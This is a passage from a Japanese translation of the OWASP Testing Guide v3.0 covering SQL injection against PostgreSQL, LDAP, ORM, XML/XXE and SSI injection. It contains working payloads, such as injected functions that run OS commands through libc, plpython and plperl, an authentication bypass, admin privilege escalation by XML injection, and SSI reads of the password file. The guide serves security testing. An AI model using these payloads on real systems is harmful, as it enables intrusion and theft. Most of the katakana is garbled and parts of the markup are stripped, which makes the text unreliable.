• 標 準 出 力 をヨゾイリキトするサェラケボヱドを 実 行 する<br />

SELECT system('uname -a > /tmp/test')<br />

• COPY 文 を 使 って、 標 準 出 力 テーブラに 先 ほどのケボヱドの 出 力 を 入 れます<br />

COPY stdout(system_out) FROM '/tmp/test'<br />

250


<strong>OWASP</strong> Testing Guide v3.0<br />

• 標 準 出 力 テーブラから 出 力 を 取 り 出 します<br />

SELECT system_out FROM stdout<br />

例 :<br />

/store.php?id=1; CREATE TABLE stdout(id serial, system_out text) --<br />

/store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system'<br />

LANGUAGE 'C'<br />

STRICT --<br />

/store.php?id=1; SELECT system('uname -a > /tmp/test') --<br />

/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --<br />

/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL<br />

LIMIT 1 OFFSET 1--<br />

plpython<br />

PL/Python はヤーゴが PostgreSQL 関 数 を python でケーディヱギできます。それは 信 頼 できません。ヤーゴができることを<br />

制 限 する 方 法 が 全 くありません。デフェラトではイヱシトーラされておらず、デーソプーシに 対 して CREATELANG によって 有<br />

効 にすることができます<br />

• デーソプーシで PL/Python が 有 効 になっているか 調 べる8<br />

SELECT count(*) FROM pg_language WHERE lanname='plpythonu'<br />

• もし 有 効 でないならば、 有 効 にすることを 試 みます8<br />

CREATE LANGUAGE plpythonu<br />

• もし 上 記 のいずれかが 成 功 した 場 合 、プルカササェラ 関 数 を 作 成 します8<br />

CREATE FUNCTION proxyshell(text) RETURNS text AS 'import os; return<br />

os.popen(args[0]).read() 'LANGUAGE plpythonu<br />

例 :<br />

• 下 記 で 楽 しむ8<br />

SELECT proxyshell(os command);<br />

• プルカササェラ 関 数 を 作 成 する8<br />

/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import os; return<br />

os.popen(args[0]).read()’ LANGUAGE plpythonu;--<br />

plperl<br />

• OS ケボヱドを 実 行 する8<br />

/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--<br />

Plperl はヤーゴが PostgreSQL 関 数 を perl でケーディヱギできます。 通 常 、 下 層 のエヘリーティヱギサシテマと 対 話 する<br />

open といった 操 作 のョヱソイマ 実 行 を 無 効 にするために 信 頼 された 言 語 としてイヱシトーラされます。そうすることによって、<br />

OS リプラのアキスシを 得 ることが 不 可 能 になっています。proxyshell を 注 入 するために、postgres ヤーゴに 信 頼 されていな<br />

251


いバーザュヱをイヱシトーラして、 信 頼 された/されてない 操 作 のアプヨクーサュヱ ボシキ フィラソヨヱギを 回 避遪 する 必 要 があり<br />

ます。<br />

• PL/perl-untrusted が 有 効 になっているか 確 認 する8<br />

SELECT count(*) FROM pg_language WHERE lanname='plperlu'<br />

• そうでない 場 合 、 管 理 者 が 既 に plperl パックーザをイヱシトーラしていると 仮 定 し、 次 を 試 します8<br />

CREATE LANGUAGE plperlu<br />

• もし 上 記 のいずれかが 成 功 した 場 合 、プルカササェラ 関 数 を 作 成 します8<br />

CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0] |");return<br />

join("",);' LANGUAGE plperlu<br />

例 :<br />

• 以 下 を 使 って 楽 しみます8<br />

SELECT proxyshell(os command);<br />

• プルカササェラ 関 数 を 作 成 する8<br />

/store.php?id=1; CREATE FUNCTION proxyshell(text) RETURNS text AS 'open(FD,"$_[0]<br />

|");return join("",);' LANGUAGE plperlu;<br />

• OS ケボヱドを 実 行 する8<br />

/store.php?id=1 UNION ALL SELECT NULL, proxyshell('whoami'), NULL OFFSET 1;--<br />

関 連 資 料<br />

• <strong>OWASP</strong> : "Testing for SQL Injection"<br />

• Michael Daw : "SQL Injection Cheat Sheet" - http://michaeldaw.org/sql-injection-cheat-sheet/<br />

• PostgreSQL : "Official Documentation" - http://www.postgresql.org/docs/<br />

• Bernardo Damele and Daniele Bellucci: sqlmap, a blind SQL injection tool - http://sqlmap.sourceforge.net<br />

4.8.6 LDAP アンヱジェクシュンヱ (<strong>OWASP</strong>-DV-006)<br />

概 要<br />

LDAP は、Lightweight Directory Access Protocol の 頭 文 字 をとったものです。それは、ヤーゴ、ベシト、その 他 たくさんのエブ<br />

ザェキトといった 情 報 を 格 納 するための 概 念 です。LDAP イヱザェキサュヱはコーバコイドの 攻 撃 で、LDAP の 構 造造 で 表 現 され<br />

たヤーゴやベシトに 関 する 機 微 な 情 報 を 漏 洩 したり、 改 ざんしたり、 追 加 したりすることができます。これは、 入 力 パョミーソ<br />

を 操 作 し、 内 部邪 検 索 に 渡 され、 追 加 され、そして 機 能 が 改 ざんされることによって 行 わわれます。<br />

252


<strong>OWASP</strong> Testing Guide v3.0<br />

脆 弱 性 の 解 説<br />

ウェブアプヨクーサュヱは、 認 証 情 報 を 使 ってヤーゴをルギイヱさせることや、 会 社 組 織 の 中 で 他 のヤーゴの 情 報 を 検 索 す<br />

ることに LDAP を 使 います。LDAP イヱザェキサュヱの 基 本 概 念 は、LDAP キウヨの 実 行 過遃 程 で 発 生 するもので、LDAP 検 索 フィ<br />

ラソのミソ 文 字 を 使 うことでウェブアプヨクーサュヱの 脆 弱 性 を 騙 すことで 可 能 になります。<br />

Rfc2254 は、LDAPv3 で 検 索 フィラソをどのように 組 み 立 てればよいか 文 法 について 定 義 しています。そして、Rfc1960<br />

(LDAPv2)を 拡 張 しています。<br />

LDAP 検 索 フィラソは、ホーョヱド 記 法 (または、プリフィッキシ 記 法 'で 構 成 されています。<br />

これは、 検 索 フィラソにおいては、 擬 似 ケードの 条 件 が 以 下 のようになることを 意 味 します8<br />

find("cn=John & userPassword=mypass")<br />

は 次 の 結 果 になります8<br />

find("(&(cn=John)(userPassword=mypass))")<br />

以 下 のミソ 文 字 を 使 うことで、LDAP 検 索 フィラソにブーヨアヱの 条 件 とギラープ 集 合 を 適遚 用 できます8<br />

メタ 文 字 意 味<br />

&<br />

ブーヨアヱ AND<br />

| ブーヨアヱ OR<br />

! ブーヨアヱ NOT<br />

= 等 しい<br />

~= おおよそ<br />

>= ~|より 大 きい<br />


• アプヨクーサュヱの 制 限 を 回 避遪 する<br />

• 認 可 されていない 情 報 の 収 集<br />

• LDAP ツヨー 構 造造 内 のエブザェキトの 追 加 と 変 更<br />

ブラチクボチクステステとその 例<br />

例 1. 検 索 ファルタ<br />

ウェブアプヨクーサュヱが 以 下 のような 検 索 フィラソを 使 っていると 仮 定 します8<br />

searchfilter="(cn="+user+")"<br />

これは、 以 下 のような HTTP ヨキウシトによって 例 を 示 すことができます8<br />

http://www.example.com/ldapsearch?user=John<br />

もし'John'という 値 が'*'で 置 き 換 えられてヨキウシトが 送 信 された 場 合 8<br />

http://www.example.com/ldapsearch?user=*<br />

フィラソは 以 下 のようになります8<br />

searchfilter="(cn=*)"<br />

これは、'cn' 属 性 のすべてのエブザェキトはすべてと 等 しいという 意 味 になります。<br />

もしアプヨクーサュヱが LDAP イヱザェキサュヱに 脆 弱 である 場 合 、LDAP に 接 続 しているヤーゴの 権 限 とアプヨクーサュヱ 実<br />

行 フルーに 依 存 しますが、 一 部邪 あるいは 全 部邪 のヤーゴの 属 性 を 表 示 することになります。<br />

テシソーは、'('、'|'、'&'、'*' や 他 の 文 字 を 挿 入 するというトョイ&ウョーのアプルータを 使 って、アプヨクーサュヱのウョーを<br />

タェッキすることができます。<br />

例 2. ロギアンヱ<br />

もしウェブアプヨクーサュヱが LDAP キウヨに 脆 弱 なルギイヱヘーザを 使 っていたら、SQL や XPATH イヱザェキサュヱに 似 たよう<br />

な 方 法 で、 常 に 真 となる LDAP キウヨを 挿 入 することで、ヤーゴ/パシワロードのタェッキを 迂 回 できる 可 能 性 があります。<br />

ウェブアプヨクーサュヱが LDAP の user/password のヘアを 一 致 させるフィラソを 使 っていると 仮 定 しましょう。<br />

searchlogin= "(&(uid="+user+")(userPassword={MD5}"+base64(pack("H*",md5(pass)))+"))";<br />

以 下 の 値 を 使 うことで8<br />

user=*)(uid=*))(|(uid=*<br />

pass=password<br />

検 索 フィラソは 以 下 の 結 果 になります8<br />

searchlogin="(&(uid=*)(uid=*))(|(uid=*)(userPassword={MD5}X03MO1qnZdYdgyfeuILPmQ==))";<br />

これは、 正 しく、 常 に 真 となります。この 方 法 は、テスターに LDAP ツリーの 最 初 のユーザでログイン 済 みであ<br />

るという 状 態 を 与 えます。<br />

254


<strong>OWASP</strong> Testing Guide v3.0<br />

関 連 資 料<br />

ホワロアテペーパー<br />

Sacha Faust: "LDAP Injection" - http://www.spidynamics.com/whitepapers/LDAPinjection.pdf<br />

RFC 1960: "A String Representation of LDAP Search Filters" - http://www.ietf.org/rfc/rfc1960.txt<br />

Bruce Greenblatt: "LDAP Overview" - http://www.directory-applications.com/ldap3_files/frame.htm<br />

IBM paper: "Understanding LDAP" - http://www.redbooks.ibm.com/redbooks/SG244986.html<br />

ヂール<br />

<br />

Softerra LDAP Browser - http://www.ldapadministrator.com/download/index.php<br />

4.8.7 ORM アンヱジェクシュンヱ (<strong>OWASP</strong>-DV-007)<br />

概 要<br />

ORM イヱザェキサュヱは、SQL イヱザェキサュヱを 使 い ORM が 生 成 したデーソアキスシのエブザェキトムデラに 対 する 攻 撃 で<br />

す。テシソーの 観 点 からは、この 攻 撃 は 実 際 には SQL イヱザェキサュヱ 攻 撃 と 同 じです。しかしながら、イヱザェキサュヱの 脆<br />

弱 性 は ORM ツーラによって 生 成 されたケードに 存 在 します。<br />

脆 弱 性 の 解 説<br />

ORM は、エブザェキト 関 連連 ボッピヱギツーラです。それは、ウェブアプヨクーサュヱを 含 むセフトウェアアプヨクーサュヱのデ<br />

ーソアキスシ 層 の 中 で、エブザェキト 指 向 開 発 を 促 進逭 させるために 使 用 されます。ORM ツーラを 使 用 する 利 点 は、ヨリーサ<br />

ュナラデーソプーシと 通 信 するためのエブザェキト 層 の 迅 速 な 開 発 、これらのエブザェキトのための 標 準 化 されたケードのテ<br />

ヱプリート、そして SQL イヱザェキサュヱ 攻 撃 に 対 して 安 全 な 関 数 のスットなどです。ORM が 生 成 したエブザェキトは CRUD<br />

(Create、Read、Update、Delete'の 操 作 をデーソプーシ 上 で 実 行 するために、SQL や SQL の 変 異 形 を 使 うことができます。<br />

SQL イヱザェキサュヱ 攻 撃 に 脆 弱 な ORM が 生 成 したエブザェキトを 使 っているウェブアプヨクーサュヱで、もしミセッドがコニ<br />

ソイジされていない 入 力 パョミーソを 受 け 入 れるのであれば、そのようなことが 可 能 になります。<br />

ORM ツーラには、Java 用 の Hibernate、.NET 用 の NHibernate、Ruby on Rails 用 の ActiveRecord、PHP 用 の EZPDO やその<br />

他 たくさんのものがあります。ORM ツーラが 比 較 的 よく 纏 まったヨシトは、http://en.wikipedia.org/wiki/List_of_objectrelational_mapping_software<br />

にあります。<br />

ブラチクボチクステステとその 例<br />

ORM イヱザェキサュヱ 脆 弱 性 のブョッキペッキシテシトは、SQL イヱザェキサュヱのテシト(Testing for SQL_Injection を 見 てくだ<br />

さい'と 同 じです。ほとんどの 場 合 、ORM 層 の 脆 弱 性 は 入 力 パョミーソを 適遚 切 に 検 証 していないォシソボイジされたケードの<br />

結 果 によるものです。ほとんどの ORM セフトウェアはヤーゴの 入 力 をウシクープするための 安 全 な 関 数 を 提 供 します。しか<br />

しながら、これらの 関 数 が 使 わわれず、 開 発 者 がォシソマ 関 数 を 使 ってヤーゴの 入 力 を 受 け 入 れている 場 合 、SQL イヱザェキ<br />

サュヱ 攻 撃 が 実 行 できる 可 能 性 があります。<br />

255


ギレーボチクステステとその 例<br />

もし、テシソーがウェブアプヨクーサュヱのセーシケードにアキスシできる 場 合 、あるいは、ORM ツーラの 脆 弱 性 を 発 見 するこ<br />

とができて、ウェブアプヨクーサュヱがそのツーラを 使 っている 場 合 、 高 い 確 率狨 でアプヨクーサュヱの 攻 撃 に 成 功 します。ケー<br />

ドの 中 で 探 すべきパソーヱには8<br />

SQL 文 字 列 と 結 合 される 入 力 パョミーソ9この 例 では、Ruby on Rails 用 の ActiveRecord を 使 っています(どのような ORM で<br />

も 脆 弱 になりえますが'。<br />

Orders.find_all "customer_id = 123 AND order_date = '#{@params['order_date']}'"<br />

単 純 に"' OR 1--"をフェーマの 発 注 日 (order_date'を 入 力 するところで 送 信 すると、 良 い 結 果 が 得 られます。<br />

関 連 資 料<br />

ホワロアテペーパー<br />

References from Testing for SQL Injection are applicable to ORM Injection -<br />

http://www.owasp.org/index.php/Testing_for_SQL_Injection#References<br />

Wikipedia - ORM http://en.wikipedia.org/wiki/Object-relational_mapping<br />

<strong>OWASP</strong> Interpreter Injection https://www.owasp.org/index.php/Interpreter_Injection#ORM_Injection<br />

ヂール<br />

<br />

<br />

<br />

<br />

Ruby On Rails - ActiveRecord and SQL Injection http://manuals.rubyonrails.com/read/chapter/43<br />

Hibernate http://www.hibernate.org<br />

NHibernate http://www.nhibernate.org<br />

Also, see SQL Injection Tools http://www.owasp.org/index.php/Testing_for_SQL_Injection#References<br />

256


<strong>OWASP</strong> Testing Guide v3.0<br />

4.8.8 XML アンヱジェクシュンヱ(<strong>OWASP</strong>-DV-008)<br />

概 要<br />

アプヨクーサュヱに XML 文 書 の 挿 入 を 試 みる、XML イヱザェキサュヱのテシトについて 述 べます。XML パーコが 適遚 切 なデー<br />

ソバヨデーサュヱに 失 敗 する 場 合 、「 脆 弱 性 がある」というテシト 結 果 になります。<br />

この 問 題 の 簡 単 な 説 明<br />

このスキサュヱでは、XML イヱザェキサュヱの 実 践 的 な 例 について 説 明 します。 最 初 に、XML シソイラケポャニクーサュヱを 定<br />

義 し、どのように 機 能 するかについて 説 明 します。 次 に、XML ミソカメョキソの 挿 入 を 試 す 発 見 方 法 について 説 明 します。 最<br />

初 のシテップが 成 功 すると、テシソーは XML 構 造造 についての 情 報 を 得 られるので、XML デーソとソギの 挿 入 (ソギイヱザェキ<br />

サュヱ)を 試 すことが 可 能 になります。<br />

ブラチクボチクステステおよびびその 例<br />

ヤーゴ 登 録 の 実 行 に XML シソイラケポャニクーサュヱを 使 用 しているウェブアプヨクーサュヱがあると 仮 定 します。 登 録 は、<br />

xmlDb ファイラに 新 しいノードを 作 成 して 追 加 することによって 行 わわれます。xmlDB ファイラは 以 下 のようになってい<br />

るとしましょう。<br />

<br />

<br />

<br />

gandalf<br />

!c3<br />

0<br />

gandalf@middleearth.com<br />

<br />

<br />

Stefan0<br />

w1s3c<br />

500<br />

Stefan0@whysec.hmm<br />

<br />

<br />

ヤーゴが HTML フェーマに 入 力 して 自 身 の 登 録 を 行 うとき、アプヨクーサュヱは 標 準 的 なヨキウシトでヤーゴデーソを 受 け 取<br />

ります。 単 純 化 のために、これは GET ヨキウシトで 送 られるものとします。<br />

例 えば、 以 下 の 値 があったとき、<br />

Username: tony<br />

Password: Un6R34kb!e<br />

E-mail: s4tan@hell.com<br />

アプヨクーサュヱに 対 して 以 下 のようなヨキウシトを 生 成 します。<br />

http://www.example.com/addUser.php?username=tony&password=Un6R34kb!e&email=s4tan@hell.com<br />

その 後 、 以 下 のノードが 生 成 されます。<br />

257


tony<br />

Un6R34kb!e<br />

500<br />

s4tan@hell.com<br />

<br />

これが xmlDB に 追 加 されます。<br />

<br />

<br />

<br />

gandalf<br />

!c3<br />

0<br />

gandalf@middleearth.com<br />

<br />

<br />

Stefan0<br />

w1s3c<br />

500<br />

Stefan0@whysec.hmm<br />

<br />

<br />

tony<br />

Un6R34kb!e<br />

500<br />

s4tan@hell.com<br />

<br />

<br />

発 見<br />

アプヨクーサュヱに XML イヱザェキサュヱの 脆 弱 性 が 存 在 しているかどうかをテシトするための 最 初 のシテップは、XML ミソカ<br />

メョキソの 挿 入 を 試 すことです。<br />

以 下 に XML ミソカメョキソのヨシトを 挙 げます。<br />

シンヱギルクオーテ: ' – 挿 入 された 値 がソギ 内 の 属 性 の 一 部邪 になる 場 合 、この 文 字 がコニソイジされていないと、XML をパー<br />

シする 際 に 例 外 を 投 げる 可 能 性 があります。 例 として、 以 下 のような 属 性 があるとします。<br />

<br />

以 下 の 場 合 、<br />

inputValue = foo'<br />

以 下 のようなイヱシソヱシが 生 成 され、attrib 値 に 挿 入 されます。<br />


<strong>OWASP</strong> Testing Guide v3.0<br />

$inputValue = foo"<br />

代 入 すると 以 下 のようになります。<br />


Username = &foo<br />

新 しいノードが 生 成 されます。<br />

<br />

&foo<br />

Un6R34kb!e<br />

500<br />

s4tan@hell.com<br />

<br />

しかし、 &foo に 最 後 の ';' がなく、&foo; 実 体 がどこにも 定 義 されていないため、この XML は 妥妞 当 ではありません。<br />

begin/end tags: - CDATA ソギが 使 わわれるとき、XML パーコはこれに 囲 まれた 文 字 全 てをパーシしません。<br />

これは、テカシトノード 内 にテカシト 値 としてみなされるべきミソカメョキソがある 場 合 によく 使 わわれます。<br />

例 えば、テカシトノード 内 で 文 字 列 ''を 表 す 必 要 がある 場 合 、 以 下 のように CDATA を 使 うことができます。<br />

<br />

]]><br />

<br />

これにより '' はパーシされずにテカシト 値 としてみなされます。<br />

あるノードが 以 下 のようになっている 場 合 、<br />

<br />

テシソーは、XML を 妥妞 当 でないものにするために、CDATA サークヱシの 終 了 ']]>'を 挿 入 してみることができます。<br />

userName = ]]><br />

これにより 以 下 のようになり<br />

]]><br />

妥妞 当 な XML 表 現 ではなくなります。<br />

外 部 実 体<br />

CDATA ソギに 関 連連 するテシトは 他 にもあります。XML 文 書 がパーシされるときに CDATA 値 は 除 去 されるので、HTML ヘーザ<br />

内 にソギケヱテヱツが 表 示 される 場 合 、シキヨプトを 追 加 することが 可 能 です。ヤーゴに 表 示 されるテカシトを 含 んでいるノー<br />

ドがあるとします。このテカシトが 以 下 のように 変 更 された 場 合 、<br />

<br />

$HTMLCode<br />

<br />

CDATA ソギを 使 う HTML テカシトを 挿 入 することによって 入 力 フィラソを 回 避遪 することができます。 例 えば 以 下 の 値 を 挿 入 し<br />

ます。<br />

$HTMLCode = script]]>alert('xss')/script]]><br />

すると、 以 下 のノードが 得 られます。<br />

260


<strong>OWASP</strong> Testing Guide v3.0<br />

<br />

script]]>alert('xss')/script]]><br />

<br />

解 析 の 段 階 で CDATA ソギを 除 去 し、 以 下 の 値 を HTML に 挿 入 します。<br />

alert('XSS')<br />

この 場 合 、アプヨクーサュヱが XSS の 脆 弱 性 にさらされます。したがって、 入 力 バヨデーサュヱフィラソを 避遪 けるために CDATA<br />

ソギ 内 に 何 らかのケードを 挿 入 することができます。<br />

実 体 : DTD を 使 って 実 体 を 定 義 することができます。&.のような 実 体 名 が 実 体 の 例 です。URL を 実 体 として 特牐 定 することがで<br />

きます。このようにして、XML 外 部邪 実 体 (XEE)で 脆 弱 性 の 可 能 性 を 作 りだします。したがって、 最 後 のテシトを 以 下 の 文 字 列<br />

で 形 成 します。<br />

<br />

]>&xxe;<br />

このテシトは 無 限 の 文 字 数 で 実 体 を 生 成 しようとするため、ウェブコーバ(Linux サシテマ)を 停 止 させる 可 能 性 があります。テ<br />

シトは 以 下 の 通 りです。<br />

<br />

]>&xxe;<br />

<br />

]>&xxe;<br />

<br />

]>&xxe;<br />

<br />

]>&xxe;<br />

こうしたテシトの 目 的 は XML デーソプーシの 構 造造 についての 情 報 を 得 ることです。こうしたウョーを 分 析 すると、 使 用 してい<br />

る 技 術 に 関 連連 した 有 用 な 情 報 を 多 く 得 ることができます。<br />

タギ 挿 入<br />

最 初 のシテップを 完媍 了 すると、テシソーは XML 構 造造 についての 情 報 をいくらか 得 られるので、XML デーソとソギの 挿 入 を 試<br />

みることができます。<br />

上 述 の 例 を 考 えます。 以 下 の 値 を 挿 入 すると、<br />

Username: tony<br />

Password: Un6R34kb!e<br />

E-mail: s4tan@hell.com0s4tan@hell.com<br />

261


アプヨクーサュヱは 新 しいノードを 作 成 し、XML デーソプーシに 追 加 します。<br />

<br />

<br />

<br />

gandalf<br />

!c3<br />

0<br />

gandalf@middleearth.com<br />

<br />

<br />

Stefan0<br />

w1s3c<br />

500<br />

Stefan0@whysec.hmm<br />

<br />

<br />

tony<br />

Un6R34kb!e<br />

500<br />

s4tan@hell.com0s4tan@hell.com<br />

<br />

<br />

その 結 果 として 得 られる XML ファイラは 整 形 式 で、userid ソギは 後 の 値 (0=admin の id)としてみなされると 思 わわれます。 唯<br />

一 の 欠 点 は、 最 後 の user ノードに userid ソギが 2 回 存 在 していることで、XML ファイラはあるシカーボか DTD に 関 連連 付 け<br />

られることがよくあります。 今 度 は XML 構 造造 に 以 下 のような DTD があるとしましょう。<br />

<br />

<br />

<br />

<br />

<br />

]><br />

uesrid ノードがォーディナヨティ 1 として 定 義 されていることに 留 意 してください(userid)。<br />

この 場 合 、XML が 特牐 定 の DTD でバヨデートされるときに 単 純 な 攻 撃 は 成 功 しません。<br />

もしテシソーが(この 例 のように)userid ソギを 囲 んでいるノードの 値 を 以 下 のようなケミヱト 開 始妵 / 終 了 サークヱシの 挿 入 でケヱ<br />

トルーラできる 場 合 、<br />

Username: tony<br />

Password: Un6R34kb!e0s4tan@hell.com<br />

XML デーソプーシは 以 下 のようになります。:<br />

<br />

<br />

<br />

gandalf<br />

!c3<br />

0<br />

gandalf@middleearth.com<br />

<br />

<br />

Stefan0<br />

262


<strong>OWASP</strong> Testing Guide v3.0<br />

w1s3c<br />

500<br />

Stefan0@whysec.hmm<br />

<br />

<br />

tony<br />

Un6R34kb!e0s4tan@hell.com<br />

<br />

<br />

このように、もともとの userid ソギはケミヱトアウトされ、 挿 入 されたものが DTD ラーラに 従 ってパーシされます。その 結 果 、<br />

ヤーゴ'tony' は userid=0 となります(これは 管 理 者 の uid かもしれません) 。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

[1] Alex Stamos: "Attacking Web Services" - http://www.owasp.org/images/d/d1/AppSec2005DC-Alex_Stamos-<br />

Attacking_Web_Services.ppt<br />

4.8.9 SSI アンヱジェクシュンヱ(<strong>OWASP</strong>-DV-009)<br />

概 要<br />

ウェブコーバでは 通 常 、 開 発 者 が 本 格 的 なコーバコイド 言 語 やキョイアヱトコイド 言 語 と 戯 れなくても、 小 さな 動 的 ケードを<br />

静 的 HTML ヘーザに 追 加 することができます。これは、 攻 撃 者 が HTML にケードを 挿 入 したり、さらにヨムートからケードを 実<br />

行 したりできる、 非 常 に 簡 単 な 拡 張 、コーバコイドイヱキラード (SSI)で 可 能 になっています。<br />

この 問 題 の 簡 単 な 説 明<br />

コーバコイドイヱキラードは、ヤーゴにヘーザを 送 る 前 にウェブコーバがパーシするディリキティブです。 非 常 に 簡 単 なソシ<br />

キを 実 行 するだけというときに、CGI プルギョマを 書 いたり、コーバコイドシキヨプト 言 語 を 使 ったケードを 組 み 込 んだりしなくて<br />

もよくなります。よくある SSI の 実 装 では、 外 部邪 ファイラを 読 み 込 んだり、ウェブコーバの CGI 環 境 変 数 を 設 定 して 表 示 したり、<br />

外 部邪 CGI シキヨプトやサシテマケボヱドを 実 行 したりします。<br />

SSI ディリキティブを 静 的 HTML 文 書 に 入 れることは、 以 下 のようなケードを 書 く 程 度 でできます。<br />

<br />

これは 現 在 の 時 刻 を 表 示 します。<br />

<br />

これは CGI シキヨプトの 出 力 を 組 み 込 みます。<br />

<br />

ファイラのケヱテヱツを 組 み 込 みます。<br />

263


サシテマケボヱドの 出 力 を 組 み 込 みます。<br />

したがって、ウェブコーバの SSI コホートが 有 効 な 場 合 、コーバはこうしたディリキティブをペディの 中 やブッゾ 内 でパーシし<br />

ます。 通 常 、デフェラトの 設 定 ではほとんどのウェブコーバはサシテマケボヱドを 実 行 する exec ディリキティブの 使 用 を 許 可<br />

していません。<br />

全 ての 入 力 バヨデーサュヱ 不 備 の 状牮 況 と 同 様 に、ウェブアプヨクーサュヱのヤーゴがアプヨクーサュヱを 作 るデーソを 提 供 す<br />

ることを 許 可 されていたり、ウェブコーバ 自 身 が 不 測 の 動 きをしたりする 場 合 に 問 題 が 発 生 します。SSI イヱザェキサュヱと 言<br />

えば、 攻 撃 者 は 動 的 に 生 成 されるヘーザに 入 力 でき、アプヨクーサュヱによって(あるいはコーバから 直 接 ) 挿 入 されると SSI<br />

ディリキティブとしてパーシされます。<br />

古 典 的 なシキヨプト 言 語 イヱザェキサュヱ 問 題 によく 似 た 問 題 です。SSI ディリキティブは 本 当 のシキヨプト 言 語 に 匹 敵 するもの<br />

ではなく、ウェブコーバが SSI を 許 可 するように 設 定 されている 必 要 があるため、おそらくそれほど 危 険 ではありません。しか<br />

し、SSI ディリキティブは 理 解 しやすく、ファイラの 内 容 を 表 示 したりサシテマケボヱドを 実 行 したりできるほど 強 力 であるため、<br />

悪 用 はより 簡 単 です。<br />

ブラチクボチクステステ<br />

ブョッキペッキシ 的 にテシトを 行 うときに 行 うべき 最 初 のことは、ウェブコーバが 実 際 に SSI ディリキティブをコホートしている<br />

かどうかを 確 認 することです。SSI コホートは 非 常 に 一 般 的 なので、ほぼ 確 実 に 答 えは”yes”です。 古 典 的 な 情 報 収 集 テキニ<br />

ッキを 使 ってどんな 種 類 のウェブコーバが 対 象 で 動 いているかをつかむだけでこれを 確 認 できます。<br />

この 情 報 の 発 見 に 成 功 するかどうかに 関 わわらず、テシト 対 象 のウェブコイトのケヱテヱツを 見 るだけで SSI がコホートされて<br />

いるかどうかの 推 測 ができます。.shtml ファイラがあれば、この 拡 張 子婡 はこうしたディリキティブを 含 んでいるヘーザを 特牐 定<br />

するのに 使 用 されるので、SSI はおそらくコホートされています。 残 念 ながら、shtml 拡 張 子婡 は 必 須 ではないので、shtml ファ<br />

イラを 全 く 発 見 できなくても、 対 象 が SSI イヱザェキサュヱ 攻 撃 に 対 して 脆 弱 ではないとは 限 りません。<br />

SSI イヱザェキサュヱ 攻 撃 が 実 際 に 可 能 かどうかを 見 つけるためだけでなく、 不 正 なケードの 挿 入 に 使 える 入 力 ホイヱトを 特牐<br />

定 するために、 次 のシテップに 進逭 みましょう。<br />

このシテップは、 他 のケードイヱザェキサュヱの 脆 弱 性 のテシトに 必 要 なテシトと 全 く 同 じです。ヤーゴが 何 らかの 入 力 を 送 信<br />

できるヘーザを 全 て 見 つけ、アプヨクーサュヱが 送 信 された 入 力 を 適遚 切 に 検 証 しているかどうかを 確 認 し、そうでない 場 合 に<br />

は 変 更 されずに(ウョーミッスーザやフェーョマの 書 き 込 みとして) 表 示 されるデーソを 送 れるかどうかを 確 認 します。 通 常 の<br />

ヤーゴ 提 供 デーソの 他 に、 入 力 プキトラとして HTTP ヨキウシトブッゾやキッカーの 内 容 も 考 えられます。これらは 簡 単 に 偽<br />

造造 できます。<br />

イヱザェキサュヱホイヱト 候 補 のヨシトができたら、 入 力 が 正 しく 検 証 されるかどうかをタェッキし、ウェブコイトのどこに 送 信 し<br />

たデーソが 表 示 されるかを 見 つけます。 以 下 のような SSI ディリキティブで 使 用 される 文 字 がアプヨクーサュヱを 通 り 抜 け、コ<br />

ーバによってどこかでパーシされるようにしなければなりません。<br />

< ! # = / . " - > and [a-zA-Z0-9]<br />

検 証 不 足 の 悪 用 は、 入 力 フェーマで 以 下 のようなシトヨヱギを 送 る 程 度 の 簡 単 さです。<br />

<br />

264


<strong>OWASP</strong> Testing Guide v3.0<br />

上 記 を 古 典 的 な 以 下 のシトヨヱギの 代 わわりに 送 信 します。<br />

alert("XSS")<br />

そして、 次 にこのヘーザを 送 る 必 要 があるときにこのディリキティブをコーバがパーシし、Unix の 標 準 的 なパシワロードファイ<br />

ラの 内 容 を 表 示 します。<br />

このイヱザェキサュヱは、 動 的 ヘーザ 生 成 にアプヨクーサュヱが HTTP ブッゾを 使 用 する 場 合 、HTTP ブッゾでも 実 行 できます。<br />

GET / HTTP/1.0<br />

Referer: <br />

User-Agent: <br />

ギレーボチクステステおよびびその 例<br />

アプヨクーサュヱのセーシケードをリビャーすることができれば、 以 下 のようなことを 見 つけるのは 非 常 に 簡 単 です。<br />

1. SSI ディリキティブが 使 用 されているかどうか。その 場 合 、ウェブコーバでは SSI コホートが 有 効 になっており、 少 な<br />

くとも SSI イヱザェキサュヱが 潜 在 的 な 問 題 として 調 査 すべきであるということになります。<br />

2. ヤーゴ 入 力 、キッカーケヱテヱツ、HTTP ブッゾが 扱 わわれているかどうか。これにより 完媍 全 な 入 力 プキトラのヨシトがで<br />

きます。<br />

3. こうした 入 力 がどのように 扱 わわれるか、どのようなフィラソヨヱギが 行 わわれるか、アプヨクーサュヱがどの 文 字 を 通 過遃 さ<br />

せないようにしているか、そして 何 種 類 のウヱケードが 考 慮 されているか。<br />

これらのシテップは、セーシケード(SSI ディリキティブ、CGI 環 境 変 数 、ヤーゴ 入 力 を 含 む 変 数 アコイヱ、フィラソヨヱギ 関 数<br />

等 ) 内 で 適遚 切 なカーワロードを 見 つけるためにほとんど grep を 使 うことになります。<br />

参 考 文 献<br />

ホワロアテペーパー<br />

IIS: "Notes on Server-Side Includes (SSI) syntax" - http://support.microsoft.com/kb/203064<br />

Apache Tutorial: "Introduction to Server Side Includes" - http://httpd.apache.org/docs/1.3/howto/ssi.html<br />

Apache: "Module mod_include" - http://httpd.apache.org/docs/1.3/mod/mod_include.html<br />

Apache: "Security Tips for Server Configuration" - http://httpd.apache.org/docs/1.3/misc/security_tips.html#ssi<br />

Header Based Exploitation - http://www.cgisecurity.net/papers/header-based-exploitation.txt<br />

SSI Injection instead of JavaScript Malware - http://jeremiahgrossman.blogspot.com/2006/08/ssi-injection-instead-ofjavascript.html<br />

ヂール<br />

<br />

<br />

<br />

<br />

Web Proxy Burp Suite - http://portswigger.net<br />

Paros - http://www.parosproxy.org/index.shtml<br />

WebScarab - http://www.owasp.org/index.php/<strong>OWASP</strong>_WebScarab_Project<br />

String searcher: grep - http://www.gnu.org/software/grep, your favorite text editor<br />

265


